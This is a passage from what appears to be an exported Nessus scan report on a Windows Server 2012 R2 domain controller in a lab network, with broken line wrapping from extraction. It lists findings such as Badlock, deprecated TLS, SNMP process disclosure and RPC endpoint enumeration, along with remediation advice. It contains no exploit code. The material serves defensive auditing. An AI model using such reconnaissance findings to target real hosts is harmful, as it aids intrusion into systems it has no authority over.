Microsoft has released a set of patches for Windows Vista, 2008, 7,

2008 R2, 2012, 8.1, RT 8.1, 2012 R2, and 10.

http://www.nessus.org/u?52ade1e9

http://badlock.org/ Medium

90510CVE-2016-0128 5.8Medium10.0.2.10tcp 1031MS16-047: Security Update for SAM and LSAD Remote Protocols (3148527) (Badlock) (uncredentialed check)

The remote Windows host is affected by an elevation of privilege

vulnerability.

The remote Windows host is affected by an elevation of 

privilege

vulnerability in the Security Account Manager (SAM) and Local 

Security

Authority (Domain Policy) (LSAD) protocols due to improper

authentication level negotiation over Remote Procedure Call 

(RPC)

channels. A man-in-the-middle attacker able to intercept

communications between a client and a server hosting a SAM 

database

can exploit this to force the authentication level to downgrade,

allowing the attacker to impersonate an authenticated user 

and access

the SAM database.

Microsoft has released a set of patches for Windows Vista, 2008, 7,

2008 R2, 2012, 8.1, RT 8.1, 2012 R2, and 10.

http://www.nessus.org/u?52ade1e9

http://badlock.org/ Medium

104743 6.1Medium10.0.2.10tcp 3389TLS Version 1.0 Protocol Detection The remote service encrypts traffic using an older version of TLS.

The remote service accepts connections encrypted using TLS 

1.0. TLS 1.0 has a

number of cryptographic design flaws. Modern 

implementations of TLS 1.0

mitigate these problems, but newer versions of TLS like 1.2 and 

1.3 are

designed against these flaws and should be used whenever 

possible.



As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 

1.2

and higher will no longer function properly with major web 

browsers and major vendors.



PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 

30,

2018, except for POS POI terminals (and the SSL/TLS 

termination

points to which they connect) that can be verified as not being

susceptible to any known exploits. Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0. https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00TLSv1 is enabled and the server supports at least one cipher. Medium

157288 6.1Medium10.0.2.10tcp 3389TLS Version 1.1 Protocol Deprecated The remote service encrypts traffic using an older version of TLS.

The remote service accepts connections encrypted using TLS 

1.1. TLS 1.1 lacks support for current and recommended

cipher suites. Ciphers that support encryption before MAC 

computation, and authenticated encryption modes such as 

GCM

cannot be used with TLS 1.1



As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 

and higher will no longer function properly with major

web browsers and major vendors. Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.

https://datatracker.ietf.org/doc/html/rfc8996

http://www.nessus.org/u?c8ae820d TLSv1.1 is enabled and the server supports at least one cipher. Medium

10107 None 10.0.2.10tcp 80HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of 

the

  remote web server. n/a

The remote web server type is :



Microsoft-HTTPAPI/2.0 None

10107 None 10.0.2.10tcp 5985HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of 

the

  remote web server. n/a

The remote web server type is :



Microsoft-HTTPAPI/2.0 None

10107 None 10.0.2.10tcp 47001HTTP Server Type and Version A web server is running on the remote host.

This plugin attempts to determine the type and the version of 

the

  remote web server. n/a

The remote web server type is :



Microsoft-HTTPAPI/2.0 None

10114CVE-1999-0524 0None 10.0.2.10icmp 0ICMP Timestamp Request Remote Date Disclosure It is possible to determine the exact time set on the remote host.

The remote host answers to an ICMP timestamp request.  This 

allows an

attacker to know the date that is set on the targeted machine, 

which

may assist an unauthenticated, remote attacker in defeating 

time-based

authentication protocols.



Timestamps returned from machines running Windows Vista / 

7 / 2008 /

2008 R2 are deliberately incorrect, but usually within 1000 

seconds of

the actual system time.

Filter out the ICMP timestamp requests (13), and the outgoing ICMP

timestamp replies (14).

This host returns non-standard timestamps (high bit is set)

The ICMP timestamps might be in little endian format (not in network format)

The remote clock is synchronized with the local clock.



None

10150 None 10.0.2.10udp 137Windows NetBIOS / SMB Remote Host Information Disclosure It was possible to obtain the network name of the remote host.

The remote host is listening on UDP port 137 or TCP port 445, 

and

replies to NetBIOS nbtscan or SMB requests.



Note that this plugin gathers information to be used in other 

plugins,

but does not itself generate a report. n/a

The following 5 NetBIOS names have been gathered :



 SERVER2012       = Computer name

 ACCB6000         = Workgroup / Domain name

 ACCB6000         = Domain Controllers

 SERVER2012       = File Server Service

 ACCB6000         = Domain Master Browser



The remote host has the following MAC address on its adapter :



   08:00:27:7f:6e:8c None

10287 None 10.0.2.10udp 0Traceroute Information It was possible to obtain traceroute information. Makes a traceroute to the remote host. n/a

For your information, here is the traceroute from 10.0.2.9 to 10.0.2.10 : 

10.0.2.9

10.0.2.10



Hop Count: 1



None

10550 None 10.0.2.10udp 161SNMP Query Running Process List Disclosure The list of processes running on the remote host can be obtained via SNMP.

It is possible to obtain the list of running processes on the 

remote

host by sending SNMP requests with the OID 

1.3.6.1.2.1.25.4.2.1.2



An attacker may use this information to gain more knowledge 

about

the target host.

Disable the SNMP service on the remote host if you do not use it,

or filter incoming UDP packets going to this port.



  PID   CPU   MEM COMMAND           ARGS

    1  2016     4 System Idle Process 

    4     3   268 System          

  208     0  1064 smss.exe        

  300     0  4240 csrss.exe       

  312     0 15692 dwm.exe         

  364     0  3596 wininit.exe     

  372     0 11908 csrss.exe       

  400     0 12868 winlogon.exe    

  452     0 10612 svchost.exe     -k LocalServiceNoNetwork

  460     0  7668 services.exe    

  468     1 49268 lsass.exe       

  592     0  9568 svchost.exe     -k DcomLaunch

  620     0  6456 svchost.exe     -k RPCSS

  708     0  6120 VBoxTray.exe     

  748     0 47048 dwm.exe         

  824     0  5152 VBoxService.exe 

  876     0 14764 svchost.exe     -k LocalServiceNetworkRestricted

  904     0 30072 svchost.exe     -k netsvcs

  948     0 10076 svchost.exe     -k LocalService

 1008     0 14372 svchost.exe     -k NetworkService

 1136     0  4304 taskeng.exe     {38D3A0A4-D8EC-4C4B-A6A5-AF95203BECAC}

 1164     0 12216 SMSvcHost.exe    -NetMsmqActivator

 1312     0  8880 spoolsv.exe     

 1336     0 40224 Microsoft.ActiveDirectory.WebServices.exe 

 1356     0  5148 conhost.exe     0x4

 1364     0  7264 svchost.exe     -k apphost None

10551 None 10.0.2.10udp 161SNMP Request Network Interfaces Enumeration

The list of network interfaces cards of the remote host can be obtained via

SNMP.

It is possible to obtain the list of the network interfaces 

installed

on the remote host by sending SNMP requests with the OID 

1.3.6.1.2.1.2.1.0



An attacker may use this information to gain more knowledge 

about

the target host.

Disable the SNMP service on the remote host if you do not use it,

or filter incoming UDP packets going to this port.



 Interface 1 information :

 ifIndex       : 1

 ifDescr       : Software Loopback Interface 1 None

10736 None 10.0.2.10tcp 135DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available locally :



Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91

UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0

Description : Unknown RPC service

Type : Local RPC service

Named pipe : WindowsShutdown



Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91

UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0

Description : Unknown RPC service

Type : Local RPC service

Named pipe : WMsgKRpc040660



Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000

UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0

Description : Unknown RPC service

Type : Local RPC service

Named pipe : WindowsShutdown



Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000

UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0

Description : Unknown RPC service

Type : Local RPC service

Named pipe : WMsgKRpc040660



Object UUID : 00000000-0000-0000-0000-000000000000 None

10736 None 10.0.2.10tcp 445DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available remotely :



Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91

UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0

Description : Unknown RPC service

Type : Remote RPC service

Named pipe : \PIPE\InitShutdown

Netbios name : \\SERVER2012



Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000

UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0

Description : Unknown RPC service

Type : Remote RPC service

Named pipe : \PIPE\InitShutdown

Netbios name : \\SERVER2012



Object UUID : 7364746e-0000-0000-0000-000000000000

UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0

Description : Unknown RPC service

Annotation : Impl friendly name

Type : Remote RPC service

Named pipe : \pipe\lsass

Netbios name : \\SERVER2012



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0

Description : Active Directory Replication Interface None

10736 None 10.0.2.10tcp 1025DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1025 :



Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91

UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0

Description : Unknown RPC service

Type : Remote RPC service

TCP Port : 1025

IP : 10.0.2.10



None

10736 None 10.0.2.10tcp 1026DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1026 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0

Description : Unknown RPC service

Annotation : Event log TCPIP

Type : Remote RPC service

TCP Port : 1026

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0

Description : Unknown RPC service

Annotation : NRP server endpoint

Type : Remote RPC service

TCP Port : 1026

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : abfb6ca3-0c5e-4734-9285-0aee72fe8d1c, version 1.0

Description : Unknown RPC service

Annotation : Wcm Service

Type : Remote RPC service

TCP Port : 1026

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000 None

10736 None 10.0.2.10tcp 1027DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1027 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0

Description : Unknown RPC service

Type : Remote RPC service

TCP Port : 1027

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 3a9ef155-691d-4449-8d05-09ad57031823, version 1.0

Description : Unknown RPC service

Type : Remote RPC service

TCP Port : 1027

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0

Description : Unknown RPC service

Annotation : XactSrv service

Type : Remote RPC service

TCP Port : 1027

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 1a0d010f-1c33-432c-b0f5-8cf4e8053099, version 1.0

Description : Unknown RPC service None

10736 None 10.0.2.10tcp 1028DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1028 :



Object UUID : 7364746e-0000-0000-0000-000000000000

UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0

Description : Unknown RPC service

Annotation : Impl friendly name

Type : Remote RPC service

TCP Port : 1028

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : e3514235-4b06-11d1-ab04-00c04fc2dcd2, version 4.0

Description : Active Directory Replication Interface

Windows process : unknown

Annotation : MS NT Directory DRS Interface

Type : Remote RPC service

TCP Port : 1028

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 12345778-1234-abcd-ef00-0123456789ab, version 0.0

Description : Local Security Authority

Windows process : lsass.exe

Type : Remote RPC service

TCP Port : 1028

IP : 10.0.2.10



None

10736 None 10.0.2.10tcp 1031DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1031 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0

Description : Security Account Manager

Windows process : lsass.exe

Type : Remote RPC service

TCP Port : 1031

IP : 10.0.2.10



Object UUID : 5fc860e0-6f6e-4fc2-83cd-46324f25e90b

UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0

Description : Unknown RPC service

Annotation : RemoteAccessCheck

Type : Remote RPC service

TCP Port : 1031

IP : 10.0.2.10



Object UUID : 9a81c2bd-a525-471d-a4ed-49907c0b23da

UUID : 0b1c2170-5732-4e0e-8cd3-d9b16f3b84d7, version 0.0

Description : Unknown RPC service

Annotation : RemoteAccessCheck

Type : Remote RPC service

TCP Port : 1031

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000 None

10736 None 10.0.2.10tcp 1032DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1032 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0

Description : IPsec Services (Windows XP & 2003)

Windows process : lsass.exe

Type : Remote RPC service

TCP Port : 1032

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0

Description : Unknown RPC service

Type : Remote RPC service

TCP Port : 1032

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0

Description : Unknown RPC service

Type : Remote RPC service

TCP Port : 1032

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0

Description : Unknown RPC service None

10736 None 10.0.2.10tcp 1038DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1038 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V1

Type : Remote RPC service

TCP Port : 1038

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V2

Type : Remote RPC service

TCP Port : 1038

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QM2QM V1

Type : Remote RPC service

TCP Port : 1038 None

10736 None 10.0.2.10tcp 1042DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1042 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0

Description : Service Control Manager

Windows process : svchost.exe

Type : Remote RPC service

TCP Port : 1042

IP : 10.0.2.10



None

10736 None 10.0.2.10tcp 1048DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1048 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 50abc2a4-574d-40b3-9d66-ee4fd5fba076, version 5.0

Description : DNS Server

Windows process : dns.exe

Type : Remote RPC service

TCP Port : 1048

IP : 10.0.2.10



None

10736 None 10.0.2.10tcp 1049DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1049 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0

Description : Unknown RPC service

Annotation : Remote Fw APIs

Type : Remote RPC service

TCP Port : 1049

IP : 10.0.2.10



None

10736 None 10.0.2.10tcp 1067DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 1067 :



Object UUID : 5bc1ed07-f5f5-485f-9dfd-6fd0acf9a23c

UUID : 897e2e5f-93f3-4376-9c9c-fd2277495c27, version 1.0

Description : Unknown RPC service

Annotation : Frs2 Service

Type : Remote RPC service

TCP Port : 1067

IP : 10.0.2.10



None

10736 None 10.0.2.10tcp 2103DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 2103 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V1

Type : Remote RPC service

TCP Port : 2103

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V2

Type : Remote RPC service

TCP Port : 2103

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QM2QM V1

Type : Remote RPC service

TCP Port : 2103 None

10736 None 10.0.2.10tcp 2105DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 2105 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V1

Type : Remote RPC service

TCP Port : 2105

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V2

Type : Remote RPC service

TCP Port : 2105

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QM2QM V1

Type : Remote RPC service

TCP Port : 2105 None

10736 None 10.0.2.10tcp 2107DCE Services Enumeration A DCE/RPC service is running on the remote host.

By sending a Lookup request to the portmapper (TCP 135 or 

epmapper

PIPE) it was possible to enumerate the Distributed Computing

Environment (DCE) services running on the remote port. Using 

this

information it is possible to connect and bind to each service 

by

sending an RPC request to the remote port/pipe. n/a



The following DCERPC services are available on TCP port 2107 :



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : fdb3a030-065f-11d1-bb9b-00a024ea5525, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V1

Type : Remote RPC service

TCP Port : 2107

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 76d12b80-3467-11d3-91ff-0090272f9ea3, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QMRT V2

Type : Remote RPC service

TCP Port : 2107

IP : 10.0.2.10



Object UUID : 00000000-0000-0000-0000-000000000000

UUID : 1088a980-eae5-11d0-8d9b-00a02453c337, version 1.0

Description : Message Queuing Service

Windows process : mqsvc.exe

Annotation : Message Queuing - QM2QM V1

Type : Remote RPC service

TCP Port : 2107 None

10761 None 10.0.2.10tcp 1030COM+ Internet Services (CIS) Server Detection A COM+ Internet Services (CIS) server is listening on this port.

COM+ Internet Services are RPC over HTTP tunneling and 

require IIS to

operate.  CIS ports shouldn't be visible on internet but only 

behind a

firewall.

If you do not use this service, disable it with DCOMCNFG. 



Otherwise, limit access to this port.

http://www.nessus.org/u?d02f7e6e

https://support.microsoft.com/en-

us/support/kb/articles/q282/2/61.asp



Server banner :



ncacn_http/1.0 None

10785 None 10.0.2.10tcp 445Microsoft Windows SMB NativeLanManager Remote System Information Disclosure

It was possible to obtain information about the remote operating

system.

Nessus was able to obtain the remote operating system name 

and version

(Windows and/or Samba) by sending an authentication request 

to port

139 or 445. Note that this plugin requires SMB to be enabled on 

the

host. n/a

The remote Operating System is : Windows Server 2012 R2 Datacenter 

Evaluation 9600

The remote native LAN manager is : Windows Server 2012 R2 Datacenter 

Evaluation 6.3

The remote SMB Domain Name is : ACCB6000



None

10800 None 10.0.2.10udp 161SNMP Query System Information Disclosure The System Information of the remote host can be obtained via SNMP.

It is possible to obtain the system information about the 

remote

host by sending SNMP requests with the OID 1.3.6.1.2.1.1.1.



An attacker may use this information to gain more knowledge 

about

the target host.

Disable the SNMP service on the remote host if you do not use it,

or filter incoming UDP packets going to this port.

System information :

 sysDescr     : Hardware: Intel64 Family 6 Model 158 Stepping 9 AT/AT 

COMPATIBLE - Software: Windows Version 6.3 (Build 9600 Multiprocessor Free)

 sysObjectID  : 1.3.6.1.4.1.311.1.1.3.1.3

 sysUptime    : 0d 0h 3m 21s

 sysContact   : 

 sysName      : Server2012.ACCB6000.com

 sysLocation  : 

 sysServices  : 76



None

10863 None 10.0.2.10tcp 3389SSL Certificate Information This plugin displays the SSL certificate.

This plugin connects to every SSL-related port and attempts to 

extract and dump the X.509 certificate. n/a

Subject Name: 



Common Name: Server2012.ACCB6000.com



Issuer Name: 



Common Name: Server2012.ACCB6000.com



Serial Number: 29 7D 4B 30 9F 86 B5 B0 41 F6 45 8D 8E 5B 91 60 



Version: 3



Signature Algorithm: SHA-1 With RSA Encryption



Not Valid Before: Nov 21 11:24:20 2022 GMT

Not Valid After: May 23 11:24:20 2023 GMT



Public Key Info: 



Algorithm: RSA Encryption

Key Length: 2048 bits

Public Key: 00 E0 5A 2E B5 52 E8 7C CB C9 59 B0 29 FD 0C 84 1B 85 FC E1 

            63 BC 76 DC 5B 84 C9 64 77 00 75 C3 74 03 AC B4 FA 0C F4 EC 

            26 AB CA 5A 53 EE 44 80 2E 4B 74 F7 89 EA 30 9B 90 25 08 E5 

            F9 2B 72 01 9D 6A 9B 48 91 A6 34 97 B0 58 30 1E B6 A2 F7 E8 

            59 F2 80 00 58 C5 16 BE FD CB 7B F4 DB FD 32 68 43 87 EA 4A 

            24 71 29 4E 5F 1B BF 97 C8 AD 35 0E 21 04 A3 99 3D 3D 01 5C 

            FB 2B BB 6C 23 F2 F6 9F E0 9D 5C 8A 52 B6 22 AC DD CD 3F 7B  None

10884 None 10.0.2.10udp 123Network Time Protocol (NTP) Server Detection An NTP server is listening on the remote host.

An NTP server is listening on port 123. If not securely 

configured,

it may provide information about its version, current date, 

current

time, and possibly system information. n/a http://www.ntp.org



  An NTP service has been discovered, listening on port 123.



  No sensitive information has been disclosed.



  Version : unknown



None

11002 None 10.0.2.10tcp 53DNS Server Detection A DNS server is listening on the remote host.

The remote service is a Domain Name System (DNS) server, 

which

provides a mapping between hostnames and IP addresses.

Disable this service if it is not needed or restrict access to

internal hosts only if the service is available externally. https://en.wikipedia.org/wiki/Domain_Name_System None

11002 None 10.0.2.10udp 53DNS Server Detection A DNS server is listening on the remote host.

The remote service is a Domain Name System (DNS) server, 

which

provides a mapping between hostnames and IP addresses.

Disable this service if it is not needed or restrict access to

internal hosts only if the service is available externally. https://en.wikipedia.org/wiki/Domain_Name_System None

11011 None 10.0.2.10tcp 139Microsoft Windows SMB Service Detection A file / print sharing service is listening on the remote host.

The remote service understands the CIFS (Common Internet 

File System)

or Server Message Block (SMB) protocol, used to provide 

shared access

to files, printers, etc between nodes on a network. n/a



An SMB server is running on this port.



None

11011 None 10.0.2.10tcp 445Microsoft Windows SMB Service Detection A file / print sharing service is listening on the remote host.

The remote service understands the CIFS (Common Internet 

File System)

or Server Message Block (SMB) protocol, used to provide 

shared access

to files, printers, etc between nodes on a network. n/a



A CIFS server is running on this port.



None

11936 None 10.0.2.10tcp 0OS Identification It is possible to guess the remote operating system.

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, 

NTP,

SNMP, etc.), it is possible to guess the name of the remote 

operating

system in use. It is also possible sometimes to guess the 

version of

the operating system. n/a



Remote operating system : Microsoft Windows Server 2012 R2 Datacenter

Confidence level : 99

Method : MSRPC



Not all fingerprints could give a match. If you think some or all of

the following could be used to identify the host's operating system,

please email them to os-signatures@nessus.org. Be sure to include a

brief description of the host itself, such as the actual operating

system or product / model names.



SNMP:!:Hardware: Intel64 Family 6 Model 158 Stepping 9 AT/AT COMPATIBLE - 

Software: Windows Version 6.3 (Build 9600 Multiprocessor Free)

NTP:!:unknown

HTTP:Server: Microsoft-HTTPAPI/2.0




SinFP:!:

   P1:B11113:F0x12:W8192:O0204ffff:M1460:

   P2:B11113:F0x12:W8192:O0204ffff010303080402080affffffff44454144:M1460:

   P3:B00000:F0x00:W0:O0:M0

   P4:190400_7_p=1025

SSLcert:!:i/CN:Server2012.ACCB6000.coms/CN:Server2012.ACCB6000.com

c8edbdbf75ff556b88c9714cbb42311a6f887af2



 

The remote host is running Microsoft Windows Server 2012 R2 Datacenter None

12053 None 10.0.2.10tcp 0Host Fully Qualified Domain Name (FQDN) Resolution It was possible to resolve the name of the remote host.

Nessus was able to resolve the fully qualified domain name 

(FQDN) of

the remote host. n/a



10.0.2.10 resolves as Server2012.



None

19506 None 10.0.2.10tcp 0Nessus Scan Information This plugin displays information about the Nessus scan.

This plugin displays, for each tested host, information about 

the

scan itself :



  - The version of the plugin set.

  - The type of scanner (Nessus or Nessus Home).

  - The version of the Nessus Engine.

  - The port scanner(s) used.

  - The port range scanned.

  - The ping round trip time 

  - Whether credentialed or third-party patch management

    checks are possible.

  - Whether the display of superseded patches is enabled

  - The date of the scan.

  - The duration of the scan.

  - The number of hosts scanned in parallel.

  - The number of checks done in parallel. n/a

Information about this scan : 



Nessus version : 10.4.1

Nessus build : 20091

Plugin feed version : 202212290946

Scanner edition used : Nessus

Scanner OS : WINDOWS

Scanner distribution : win-x86-64

Scan type : Normal

Scan name : Scan

Scan policy used : Scan

Scanner IP : 10.0.2.9

Port scanner(s) : snmp_scanner 

Port range : default

Ping RTT : Unavailable

Thorough tests : no

Experimental tests : no

Plugin debugging enabled : no

Paranoia level : 1

Report verbosity : 1

Safe checks : yes

Optimize the test : yes

Credentialed checks : no

Patch management checks : None

Display superseded patches : yes (supersedence plugin launched)

CGI scanning : disabled

Web application tests : disabled

Max hosts : 30 None

20870 None 10.0.2.10tcp 389LDAP Server Detection An LDAP server was detected on the remote host.

The remote host is running a Lightweight Directory Access 

Protocol

(LDAP) server. LDAP is a protocol for providing access to 

directory

services over TCP/IP. n/a https://en.wikipedia.org/wiki/LDAP None

20870 None 10.0.2.10tcp 3268LDAP Server Detection An LDAP server was detected on the remote host.

The remote host is running a Lightweight Directory Access 

Protocol

(LDAP) server. LDAP is a protocol for providing access to 

directory

